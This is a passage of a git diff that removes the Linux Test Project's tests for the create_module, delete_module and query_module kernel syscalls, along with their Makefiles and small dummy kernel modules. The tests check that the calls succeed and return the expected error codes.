- *    TEST TITLE        : Basic tests for create_module(2)
- *
- *    TEST CASE TOTAL   : 1
- *
- *    AUTHOR            : Madhu T L <madhu.tarikere@wipro.com>
- *
- *    SIGNALS
- *	Uses SIGUSR1 to pause before test if option set.
- *	(See the parse_opts(3) man page).
- *
- *    DESCRIPTION
- *	This is a Phase I test for the create_module(2) system call.
- *	It is intended to provide a limited exposure of the system call.
- *
- *	Setup:
- *	  Setup signal handling.
- *	  Test caller is superuser
- *	  Pause for SIGUSR1 if option specified.
- *	  Initialize modname for each child process
- *
- *	Test:
- *	 Loop if the proper options are given.
- *	  Execute system call
- *	  Check return code, if system call failed (return=-1)
- *		Issue FAIL message with errno.
- *	  Otherwise, Issue PASS message and delete the module entry.
- *
- *	Cleanup:
- *	  Call delete_module system call to remove module entry if exists.
- *	  Print errno log and/or timing stats if options given
- *
- * USAGE:  <for command-line>
- *  create_module01 [-c n] [-e] [-f] [-h] [-i n] [-I x] [-p] [-P x] [-t]
- *		where,  -c n : Run n copies concurrently.
- *			-e   : Turn on errno logging.
- *			-f   : Turn off functional testing
- *			-h   : Show help screen
- *			-i n : Execute test n times.
- *			-I x : Execute test for x seconds.
- *			-p   : Pause for SIGUSR1 before starting
- *			-P x : Pause for x seconds between iterations.
- *			-t   : Turn on syscall timing.
- *
- ****************************************************************/
-#include <errno.h>
-#include <asm/atomic.h>
-#include <linux/module.h>
-#include "test.h"
-
-#define MODSIZE 10000		/* Arbitrarily selected MODSIZE */
-#define BASEMODNAME "dummy"
-
-static void setup(void);
-static void cleanup(void);
-
-char *TCID = "create_module01";	/* Test program identifier.    */
-int TST_TOTAL = 1;		/* Total number of test cases. */
-static char modname[20];	/* Name of the module */
-
-int main(int argc, char **argv)
-{
-	int lc;
-
-	tst_parse_opts(argc, argv, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		/* reset tst_count in case we are looping */
-		tst_count = 0;
-
-		/* Test the system call */
-		TEST(create_module(modname, MODSIZE));
-
-		/* check return code */
-		if (TEST_RETURN == -1) {
-			tst_resm(TFAIL, "create_module() failed errno=%d : %s",
-				 TEST_ERRNO, strerror(TEST_ERRNO));
-		} else {
-			tst_resm(TPASS, "create_module() returned 0x%x",
-				 TEST_RETURN);
-			if (delete_module(modname) != 0) {
-				tst_brkm(TBROK, NULL, "Failed to delete"
-					 "loadable module entry for %s",
-					 modname);
-			}
-		}
-	}
-
-	/* perform global cleanup and exit */
-	cleanup();
-
-}
-
-/* setup() - performs all ONE TIME setup for this test */
-void setup(void)
-{
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	tst_require_root();
-
-	if (tst_kvercmp(2, 5, 48) >= 0)
-		tst_brkm(TCONF, NULL, "This test will not work on "
-			 "kernels after 2.5.48");
-
-	/* Pause if that option was specified
-	 * TEST_PAUSE contains the code to fork the test with the -c option.
-	 */
-	TEST_PAUSE;
-
-	/* Initialize unique module name for each child process */
-	if (sprintf(modname, "%s_%d", BASEMODNAME, getpid()) == -1) {
-		tst_brkm(TBROK, NULL, "Failed to initialize module name");
-	}
-}
-
-/*
- * cleanup()
- *	performs all ONE TIME cleanup for this test at
- *	completion or premature exit
- */
-void cleanup(void)
-{
-	/*
-	 * If module entry is not removed (possible if create_module()
-	 * succeeds and signal is caught before execution of delete_module())
-	 * attempt to remove it here
-	 */
-	if (delete_module(modname) == -1) {
-		/* With errno, check module exists, if so send msg */
-		if (errno != ENOENT) {
-			tst_resm(TWARN, "Failed to delete loadable module"
-				 "entry for %s errno returned %d", modname,
-				 errno);
-		}
-	}
-
-}
diff --git a/testcases/kernel/module/create_module/create_module02.c b/testcases/kernel/module/create_module/create_module02.c
deleted file mode 100644
index f275adf..0000000
--- a/testcases/kernel/module/create_module/create_module02.c
+++ /dev/null
@@ -1,279 +0,0 @@
-/*
- * Copyright (c) Wipro Technologies Ltd, 2002.  All Rights Reserved.
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
- */
-/**********************************************************
- *
- *    TEST IDENTIFIER   : create_module02
- *
- *    EXECUTED BY       : root / superuser
- *
- *    TEST TITLE        : Checking error conditions for create_module(2)
- *
- *    TEST CASE TOTAL   : 8
- *
- *    AUTHOR            : Madhu T L <madhu.tarikere@wipro.com>
- *
- *    SIGNALS
- *      Uses SIGUSR1 to pause before test if option set.
- *      (See the parse_opts(3) man page).
- *
- *    DESCRIPTION
- *      Verify that,
- *      1. create_module(2) returns -1 and sets errno to EPERM, if effective
- *         user id of the caller is not superuser.
- *      2. create_module(2) returns -1 and sets errno to EFAULT, if module
- *         name is outside the  program's  accessible  address space.
- *      3. create_module(2) returns -1 and sets errno to EFAULT, if module
- *         name parameter is NULL.
- *      4. create_module(2) returns -1 and sets errno to EINVAL, if module
- *         name parameter is null terminated (zero length) string.
- *      5. create_module(2) returns -1 and sets errno to EEXIST, if module
- *         entry with the same name already exists.
- *      6. create_module(2) returns -1 and sets errno to EINVAL, if module
- *         size parameter is too small.
- *      7. create_module(2) returns -1 and sets errno to ENAMETOOLONG, if
- *         module name parameter is too long.
- *      8. create_module(2) returns -1 and sets errno to ENOMEM, if module
- *         size parameter is too large.
- *
- *      Setup:
- *        Setup signal handling.
- *        Test caller is super user
- *        Check existances of "nobody" user id.
- *        Initialize  long module name
- *        Set expected errnos for logging
- *        Pause for SIGUSR1 if option specified.
- *	  Initialize modname for each child process
- *
- *      Test:
- *       Loop if the proper options are given.
- *        Execute system call
- *        Check return code and error number, if matching,
- *                   Issue PASS message
- *        Otherwise,
- *                   Issue FAIL message
- *
- *      Cleanup:
- *        Print errno log and/or timing stats if options given
- *
- * USAGE:  <for command-line>
- *  create_module02 [-c n] [-e] [-f] [-h] [-i n] [-I x] [-p] [-P x] [-t]
- *		where,  -c n : Run n copies concurrently.
- *			-e   : Turn on errno logging.
- *			-f   : Turn off functional testing
- *			-h   : Show help screen
- *			-i n : Execute test n times.
- *			-I x : Execute test for x seconds.
- *			-p   : Pause for SIGUSR1 before starting
- *			-P x : Pause for x seconds between iterations.
- *			-t   : Turn on syscall timing.
- *
- ****************************************************************/
-
-#include <errno.h>
-#include <pwd.h>
-#include <sys/types.h>
-#include <unistd.h>
-#include <limits.h>
-#include <asm/atomic.h>
-#include <linux/module.h>
-#include "test.h"
-#include "safe_macros.h"
-
-#ifndef PAGE_SIZE
-#define PAGE_SIZE sysconf(_SC_PAGE_SIZE)
-#endif
-
-#define MODSIZE 10000		/* Arbitrarily selected MODSIZE */
-#define NULLMODNAME ""
-#define MAXMODSIZE  0xffffffffffffffff	/* Max size of size_t */
-#define SMALLMODSIZE  1		/* Arbitrarily selected SMALLMODSIZE */
-#define BASEMODNAME "dummy"
-#define LONGMODNAMECHAR 'm'	/* Arbitrarily selected the alphabet */
-#define MODNAMEMAX (PAGE_SIZE + 1)
-
-struct test_case_t {		/* test case structure */
-	char *modname;
-	size_t size;
-	caddr_t retval;		/* syscall return value */
-	int experrno;		/* expected errno */
-	char *desc;
-	int (*setup) (void);	/* Individual setup routine */
-	void (*cleanup) (void);	/* Individual cleanup routine */
-};
-
-char *TCID = "create_module02";
-static char nobody_uid[] = "nobody";
-struct passwd *ltpuser;
-static char longmodname[MODNAMEMAX];
-static int testno;
-static char modname[20];	/* Name of the module */
-
-static void setup(void);
-static void cleanup(void);
-static int setup1(void);
-static void cleanup1(void);
-static int setup2(void);
-static void cleanup2(void);
-
-static struct test_case_t tdat[] = {
-	{modname, MODSIZE, (caddr_t) - 1, EPERM,
-	 "non-superuser", setup1, cleanup1},
-	{(char *)-1, MODSIZE, (caddr_t) - 1, EFAULT,
-	 "module name outside the  program's  accessible  address space", NULL,
-	 NULL},
-	{NULL, MODSIZE, (caddr_t) - 1, EFAULT,
-	 "NULL module name", NULL, NULL},
-	{NULLMODNAME, MODSIZE, (caddr_t) - 1, EINVAL,
-	 "null terminated module name", NULL, NULL},
-	{modname, MODSIZE, (caddr_t) - 1, EEXIST,
-	 "already existing module", setup2, cleanup2},
-	{modname, SMALLMODSIZE, (caddr_t) - 1, EINVAL,
-	 "insufficient module size", NULL, NULL},
-	{longmodname, MODSIZE, (caddr_t) - 1, ENAMETOOLONG,
-	 "long module name", NULL, NULL},
-
-	/*
-	 *This test case is giving segmentation fault on
-	 * 2.4.* series, but works as expected with 2.5.* series of kernel.
-	 */
-	{modname, MAXMODSIZE, (caddr_t) - 1, ENOMEM,
-	 "large module size", NULL, NULL},
-};
-
-int TST_TOTAL = sizeof(tdat) / sizeof(tdat[0]);
-
-int main(int argc, char **argv)
-{
-	int lc;
-
-	tst_parse_opts(argc, argv, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		/* reset tst_count in case we are looping */
-		tst_count = 0;
-
-		for (testno = 0; testno < TST_TOTAL; ++testno) {
-			if ((tdat[testno].setup) && (tdat[testno].setup())) {
-				/* setup() failed, skip this test */
-				continue;
-			}
-
-			TEST(create_module(tdat[testno].modname,
-					   tdat[testno].size));
-			if ((TEST_RETURN == (int)tdat[testno].retval) &&
-			    (TEST_ERRNO == tdat[testno].experrno)) {
-				tst_resm(TPASS, "Expected results for %s, "
-					 "errno: %d",
-					 tdat[testno].desc, TEST_ERRNO);
-			} else {
-				tst_resm(TFAIL, "Unexpected results for %s ; "
-					 "returned %d (expected %d), errno %d "
-					 "(expected %d)", tdat[testno].desc,
-					 TEST_RETURN, tdat[testno].retval,
-					 TEST_ERRNO, tdat[testno].experrno);
-			}
-			if (tdat[testno].cleanup) {
-				tdat[testno].cleanup();
-			}
-		}
-	}
-	cleanup();
-	tst_exit();
-}
-
-int setup1(void)
-{
-	/* Change effective user id to nodody */
-	if (seteuid(ltpuser->pw_uid) == -1) {
-		tst_resm(TBROK, "seteuid failed to set the effective"
-			 " uid to %d", ltpuser->pw_uid);
-		return 1;
-	}
-	return 0;
-}
-
-void cleanup1(void)
-{
-	/* Change effective user id to root */
-	SAFE_SETEUID(NULL, 0);
-}
-
-int setup2(void)
-{
-	/* Create a loadable module entry */
-	if (create_module(modname, MODSIZE) == -1) {
-		tst_resm(TBROK, "Failed to create module entry"
-			 " for %s", modname);
-		return 1;
-	}
-	return 0;
-}
-
-void cleanup2(void)
-{
-	/* Remove loadable module entry */
-	if (delete_module(modname) == -1) {
-		tst_brkm(TBROK, NULL, "Failed to delete module entry"
-			 " for %s", modname);
-	}
-}
-
-/*
- * setup()
- *	performs all ONE TIME setup for this test
- */
-void setup(void)
-{
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	tst_require_root();
-
-	if (tst_kvercmp(2, 5, 48) >= 0)
-		tst_brkm(TCONF, NULL, "This test will not work on "
-			 "kernels after 2.5.48");
-
-	/* Check for nobody_uid user id */
-	if ((ltpuser = getpwnam(nobody_uid)) == NULL) {
-		tst_brkm(TBROK, NULL, "Required user %s doesn't exists",
-			 nobody_uid);
-	}
-
-	/* Initialize longmodname to LONGMODNAMECHAR character */
-	memset(longmodname, LONGMODNAMECHAR, MODNAMEMAX - 1);
-
-	/* Pause if that option was specified
-	 * TEST_PAUSE contains the code to fork the test with the -c option.
-	 */
-	TEST_PAUSE;
-
-	/* Get unique module name for each child process */
-	if (sprintf(modname, "%s_%d", BASEMODNAME, getpid()) == -1) {
-		tst_brkm(TBROK, NULL, "Failed to initialize module name");
-	}
-}
-
-/*
- * cleanup()
- *	performs all ONE TIME cleanup for this test at
- *	completion or premature exit
- */
-void cleanup(void)
-{
-}
diff --git a/testcases/kernel/module/delete_module/Makefile b/testcases/kernel/module/delete_module/Makefile
deleted file mode 100644
index 95693b1..0000000
--- a/testcases/kernel/module/delete_module/Makefile
+++ /dev/null
@@ -1,40 +0,0 @@
-#
-# Copyright (c) Wipro Technologies Ltd, 2002.  All Rights Reserved.
-#
-# This program is free software; you can redistribute it and/or modify it
-# under the terms of version 2 of the GNU General Public License as
-# published by the Free Software Foundation.
-#
-# This program is distributed in the hope that it would be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
-#
-# You should have received a copy of the GNU General Public License along
-# with this program; if not, write the Free Software Foundation, Inc.,
-# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
-###########################################################################
-# name of file		 : Makefile		 		 	  #
-# description		 : make file for the delete_module(2) testcases	  #
-###########################################################################
-
-ifneq ($(KERNELRELEASE),)
-
-obj-m := dummy_del_mod.o dummy_del_mod_dep.o
-
-else
-
-top_srcdir		?= ../../../..
-
-include $(top_srcdir)/include/mk/testcases.mk
-
-REQ_VERSION_MAJOR	:= 2
-REQ_VERSION_PATCH	:= 6
-
-MAKE_TARGETS		:= delete_module01 delete_module02 delete_module03 \
-			   dummy_del_mod.ko dummy_del_mod_dep.ko
-
-include $(top_srcdir)/include/mk/module.mk
-include $(top_srcdir)/include/mk/generic_leaf_target.mk
-
-endif
diff --git a/testcases/kernel/module/delete_module/delete_module01.c b/testcases/kernel/module/delete_module/delete_module01.c
deleted file mode 100644
index a159de8..0000000
--- a/testcases/kernel/module/delete_module/delete_module01.c
+++ /dev/null
@@ -1,89 +0,0 @@
-/*
- * Copyright (c) Wipro Technologies Ltd, 2002.  All Rights Reserved.
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
- */
-
-/*
- *    AUTHOR: Madhu T L <madhu.tarikere@wipro.com>
- *
- *    DESCRIPTION:
- *    	Basic tests for delete_module(2)
- *    	1) insmod dummy_del_mod.ko
- *    	2) call delete_module(2) to remove dummy_del_mod.ko
- */
-
-#include <errno.h>
-#include "test.h"
-#include "old_module.h"
-#include "safe_macros.h"
-#include "lapi/syscalls.h"
-
-#define MODULE_NAME	"dummy_del_mod"
-#define MODULE_NAME_KO	"dummy_del_mod.ko"
-
-static void setup(void);
-static void cleanup(void);
-
-
-char *TCID = "delete_module01";
-int TST_TOTAL = 1;
-static int module_loaded;
-
-int main(int argc, char **argv)
-{
-	int lc;
-
-	tst_parse_opts(argc, argv, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-
-		/* insert dummy_del_mod.ko */
-		if (module_loaded == 0) {
-			tst_module_load(NULL, MODULE_NAME_KO, NULL);
-			module_loaded = 1;
-		}
-
-		TEST(ltp_syscall(__NR_delete_module, MODULE_NAME, 0));
-		if (TEST_RETURN == -1) {
-			tst_resm(TFAIL | TTERRNO, "delete_module() failed to "
-				 "remove module entry for %s ", MODULE_NAME);
-		} else {
-			tst_resm(TPASS, "delete_module() successful");
-			module_loaded = 0;
-		}
-
-	}
-
-	cleanup();
-	tst_exit();
-}
-
-static void setup(void)
-{
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	tst_require_root();
-
-	TEST_PAUSE;
-}
-
-static void cleanup(void)
-{
-	if (module_loaded == 1)
-		tst_module_unload(NULL, MODULE_NAME_KO);
-}
diff --git a/testcases/kernel/module/delete_module/delete_module02.c b/testcases/kernel/module/delete_module/delete_module02.c
deleted file mode 100644
index f92639e..0000000
--- a/testcases/kernel/module/delete_module/delete_module02.c
+++ /dev/null
@@ -1,155 +0,0 @@
-/*
- * Copyright (c) Wipro Technologies Ltd, 2002.  All Rights Reserved.
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
- */
-
-/*
- *    AUTHOR: Madhu T L <madhu.tarikere@wipro.com>
- *
- *    DESCRIPTION
- *      Verify that,
- *      1. delete_module(2) returns -1 and sets errno to ENOENT for nonexistent
- *	   module entry.
- *      2. delete_module(2) returns -1 and sets errno to EFAULT, if
- *         module name parameter is outside program's accessible address space.
- *      3. delete_module(2) returns -1 and sets errno to EPERM, if effective
- *         user id of the caller is not superuser.
- */
-
-#include <errno.h>
-#include <pwd.h>
-#include <sys/types.h>
-#include <unistd.h>
-#include <limits.h>
-
-#include <sys/mman.h>
-#include "test.h"
-#include "safe_macros.h"
-#include "lapi/syscalls.h"
-
-#define NULLMODNAME	""
-#define BASEMODNAME	"dummy"
-#define LONGMODNAMECHAR	'm'	/* Arbitrarily selected */
-
-/*
- * From kernel internal headers: include/linux/module.h
- * include/linux/moduleparam.h
- */
-#define MODULE_NAME_LEN	( 64 - sizeof(unsigned long) )
-
-char *TCID = "delete_module02";
-
-static char nobody_uid[] = "nobody";
-struct passwd *ltpuser;
-static char longmodname[MODULE_NAME_LEN];
-static char modname[20];
-
-static void setup(void);
-static void cleanup(void);
-static void setup1(void);
-static void cleanup1(void);
-
-static struct test_case_t {
-	char *modname;
-	int experrno;
-	char *desc;
-	void (*setup) (void);
-	void (*cleanup) (void);
-} tdat[] = {
-	{ modname, ENOENT, "nonexistent module", NULL, NULL},
-	{ NULLMODNAME, ENOENT, "null terminated module name", NULL, NULL},
-	{ (char *)-1, EFAULT, "module name outside program's "
-	  "accessible address space", NULL, NULL},
-	{ longmodname, ENOENT, "long module name", NULL, NULL},
-	{ modname, EPERM, "non-superuser", setup1, cleanup1},
-};
-
-int TST_TOTAL = ARRAY_SIZE(tdat);
-
-int main(int argc, char **argv)
-{
-	int lc;
-	int i;
-
-	tst_parse_opts(argc, argv, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-
-		for (i = 0; i < TST_TOTAL; ++i) {
-			if (tdat[i].setup)
-				tdat[i].setup();
-
-			tst_resm(TINFO, "test %s", tdat[i].desc);
-			TEST(ltp_syscall(__NR_delete_module,
-			     tdat[i].modname, 0));
-
-			if (TEST_RETURN != -1) {
-				tst_resm(TFAIL, "delete_module() "
-					 "succeeded unexpectedly");
-			} else if (TEST_ERRNO == tdat[i].experrno) {
-				tst_resm(TPASS | TTERRNO,
-					 "delete_module() failed as expected");
-			} else {
-				tst_resm(TFAIL | TTERRNO, "delete_module() "
-					 "failed unexpectedly; expected: "
-					 "%d - %s", tdat[i].experrno,
-					 strerror(tdat[i].experrno));
-			}
-			if (tdat[i].cleanup)
-				tdat[i].cleanup();
-		}
-	}
-
-	cleanup();
-	tst_exit();
-}
-
-static void setup1(void)
-{
-	SAFE_SETEUID(cleanup, ltpuser->pw_uid);
-}
-
-static void cleanup1(void)
-{
-	SAFE_SETEUID(cleanup, 0);
-}
-
-static void setup(void)
-{
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	tst_require_root();
-
-	ltpuser = SAFE_GETPWNAM(cleanup, nobody_uid);
-
-	TEST_PAUSE;
-
-	/* Initialize longmodname to LONGMODNAMECHAR character */
-	memset(longmodname, LONGMODNAMECHAR, MODULE_NAME_LEN - 1);
-
-	/* Get unique module name for each child process */
-	if (sprintf(modname, "%s_%d", BASEMODNAME, getpid()) <= 0)
-		tst_brkm(TBROK, NULL, "Failed to initialize module name");
-
-	tdat[2].modname = SAFE_MMAP(cleanup, 0, 1, PROT_NONE,
-				    MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
-}
-
-void cleanup(void)
-{
-}
diff --git a/testcases/kernel/module/delete_module/delete_module03.c b/testcases/kernel/module/delete_module/delete_module03.c
deleted file mode 100644
index cbf9ff6..0000000
--- a/testcases/kernel/module/delete_module/delete_module03.c
+++ /dev/null
@@ -1,118 +0,0 @@
-/*
- * Copyright (c) Wipro Technologies Ltd, 2002.  All Rights Reserved.
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
- */
-
-/*
- *    AUTHOR: Madhu T L <madhu.tarikere@wipro.com>
- *
- *    DESCRIPTION
- *      Verify that, delete_module(2) returns -1 and sets errno to EWOULDBLOCK,
- *      if tried to remove a module while other modules depend on this module.
- *
- */
-
-#include <errno.h>
-#include "test.h"
-#include "old_module.h"
-#include "safe_macros.h"
-#include "lapi/syscalls.h"
-
-#define DUMMY_MOD		"dummy_del_mod"
-#define DUMMY_MOD_KO		"dummy_del_mod.ko"
-#define DUMMY_MOD_DEP		"dummy_del_mod_dep"
-#define DUMMY_MOD_DEP_KO	"dummy_del_mod_dep.ko"
-
-static int dummy_mod_loaded;
-static int dummy_mod_dep_loaded;
-
-char *TCID = "delete_module03";
-
-int TST_TOTAL = 1;
-
-static void setup();
-static void cleanup(void);
-
-int main(int argc, char **argv)
-{
-	int lc;
-
-	tst_parse_opts(argc, argv, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-
-		TEST(ltp_syscall(__NR_delete_module, DUMMY_MOD, 0));
-
-		if (TEST_RETURN < 0) {
-			switch (errno) {
-			case EWOULDBLOCK:
-				tst_resm(TPASS | TTERRNO,
-					 "delete_module() failed as expected");
-			break;
-			default:
-				tst_resm(TFAIL | TTERRNO, "delete_module() "
-					 "failed unexpectedly; expected: "
-					 "%d - %s", EWOULDBLOCK,
-					 strerror(EWOULDBLOCK));
-			break;
-			}
-		} else {
-			tst_resm(TFAIL, "delete_module()"
-				 "succeeded unexpectedly");
-			dummy_mod_loaded = 0;
-			/*
-			 * insmod DUMMY_MOD_KO again in case running
-			 * with -i option
-			 */
-			tst_module_load(cleanup, DUMMY_MOD_KO, NULL);
-			dummy_mod_loaded = 1;
-		}
-	}
-
-	cleanup();
-	tst_exit();
-
-}
-
-static void setup(void)
-{
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	tst_require_root();
-
-	/* Load first kernel module */
-	tst_module_load(cleanup, DUMMY_MOD_KO, NULL);
-	dummy_mod_loaded = 1;
-
-	/* Load dependant kernel module */
-	tst_module_load(cleanup, DUMMY_MOD_DEP_KO, NULL);
-	dummy_mod_dep_loaded = 1;
-
-	TEST_PAUSE;
-}
-
-static void cleanup(void)
-{
-	/* Unload dependent kernel module */
-	if (dummy_mod_dep_loaded == 1)
-		tst_module_unload(NULL, DUMMY_MOD_DEP_KO);
-
-	/* Unload first kernel module */
-	if (dummy_mod_loaded == 1)
-		tst_module_unload(NULL, DUMMY_MOD_KO);
-}
diff --git a/testcases/kernel/module/delete_module/dummy_del_mod.c b/testcases/kernel/module/delete_module/dummy_del_mod.c
deleted file mode 100644
index 10932d0..0000000
--- a/testcases/kernel/module/delete_module/dummy_del_mod.c
+++ /dev/null
@@ -1,64 +0,0 @@
-/*
- * Copyright (c) Wipro Technologies Ltd, 2002.  All Rights Reserved.
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
- */
-/*************************************************************************
- * Description: This is a kernel loadable module programme used by
- *		delete_module03 testcase which inserts this module as part
- *		setup.
- *************************************************************************/
-
-#ifndef MODULE
-#define MODULE
-#endif
-
-/* #define __KERNEL__    Commented this line out b/c it causes errors with
- *			 module.h when it calls /usr/include/linux/version.h
- *			 -11/22/02 Robbie Williamson <robbiew@us.ibm.com>
- */
-
-#include <asm/atomic.h>
-#include <linux/module.h>
-#include <linux/init.h>
-#include <linux/proc_fs.h>
-#include <linux/kernel.h>
-
-static int dummy_func_test(void);
-
-/* Dummy function called by dependent module */
-
-static int dummy_func_test()
-{
-	return 0;
-}
-
-static int __init dummy_init(void)
-{
-	struct proc_dir_entry *proc_dummy;
-
-	proc_dummy = proc_mkdir("dummy", 0);
-	return 0;
-}
-
-static void __exit dummy_exit(void)
-{
-
-	remove_proc_entry("dummy", 0);
-}
-
-module_init(dummy_init);
-module_exit(dummy_exit);
-EXPORT_SYMBOL(dummy_func_test);
-MODULE_LICENSE("GPL");
diff --git a/testcases/kernel/module/delete_module/dummy_del_mod_dep.c b/testcases/kernel/module/delete_module/dummy_del_mod_dep.c
deleted file mode 100644
index c9f60e3..0000000
--- a/testcases/kernel/module/delete_module/dummy_del_mod_dep.c
+++ /dev/null
@@ -1,56 +0,0 @@
-/*
- * Copyright (c) Wipro Technologies Ltd, 2002.  All Rights Reserved.
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
- */
-/*************************************************************************
- * Description: This is a kernel loadable module programme used by
- *		delete_module03 testcase which inserts this module as part
- *		of setup. This module has dependency on dummy_del_mod module
- *		(calls function of dummy_del_mod during initialization).
- *************************************************************************/
-
-#ifndef MODULE
-#define MODULE
-#endif
-/* #define __KERNEL__    Commented this line out b/c it causes errors with
- *                       module.h when it calls /usr/include/linux/version.h
- *                       -11/22/02 Robbie Williamson <robbiew@us.ibm.com>
- */
-
-#include <asm/atomic.h>
-#include <linux/module.h>
-#include <linux/init.h>
-#include <linux/proc_fs.h>
-#include <linux/kernel.h>
-
-extern int dummy_func_test(void);
-
-static int __init dummy_init(void)
-{
-	struct proc_dir_entry *proc_dummy;
-
-	proc_dummy = proc_mkdir("dummy_dep", 0);
-	dummy_func_test();
-	return 0;
-}
-
-static void __exit dummy_exit(void)
-{
-	remove_proc_entry("dummy_dep", 0);
-}
-
-module_init(dummy_init);
-module_exit(dummy_exit);
-MODULE_LICENSE("GPL");
diff --git a/testcases/kernel/module/query_module/Makefile b/testcases/kernel/module/query_module/Makefile
deleted file mode 100644
index 88323b4..0000000
--- a/testcases/kernel/module/query_module/Makefile
+++ /dev/null
@@ -1,49 +0,0 @@
-#
-# Copyright (c) Wipro Technologies Ltd, 2002.  All Rights Reserved.
-#
-# This program is free software; you can redistribute it and/or modify it
-# under the terms of version 2 of the GNU General Public License as
-# published by the Free Software Foundation.
-#
-# This program is distributed in the hope that it would be useful, but
-# WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
-#
-# You should have received a copy of the GNU General Public License along
-# with this program; if not, write the Free Software Foundation, Inc.,
-# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
-###########################################################################
-# name of file	: Makefile						  #
-# description	: make file for the query_module(2) testcases		  #
-###########################################################################
-
-CFLAGS+=	-I../../../../include -Wall
-MODCFLAGS+=	-I/lib/modules/$(shell uname -r)/build/include -Wall
-LOADLIBES+=	-L../../../../lib -lltp
-
-SRC1=dummy_query_mod.c dummy_query_mod_dep.c
-OBJS=$(SRC1:.c=.o)
-TARGETS=query_module01 query_module02 query_module03 $(OBJS)
-
-all: $(TARGETS)
-	chmod 755 $(OBJS)
-
-$(OBJS): $(SRC1)
-	$(CC) -DEXPORT_SYMTAB $(MODCFLAGS) -c $(SRC1) -Wall
-
-query_module01: query_module01.c
-	$(CC) $(CFLAGS) query_module01.c $(LOADLIBES) -o $@
-
-query_module02: query_module02.c
-	$(CC) $(CFLAGS) query_module02.c $(LOADLIBES) -o $@
-
-query_module03: query_module03.c
-	$(CC) $(CFLAGS) query_module03.c $(LOADLIBES) -o $@
-
-install:
-	@set -e; for i in $(TARGETS); do ln -f $$i ../../../bin/$$i ; done
-
-clean:
-	rm -f $(TARGETS)
-
diff --git a/testcases/kernel/module/query_module/dummy_query_mod.c b/testcases/kernel/module/query_module/dummy_query_mod.c
deleted file mode 100644
index 27f7408..0000000
--- a/testcases/kernel/module/query_module/dummy_query_mod.c
+++ /dev/null
@@ -1,53 +0,0 @@
-/*
- * Copyright (c) Wipro Technologies Ltd, 2002.  All Rights Reserved.
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
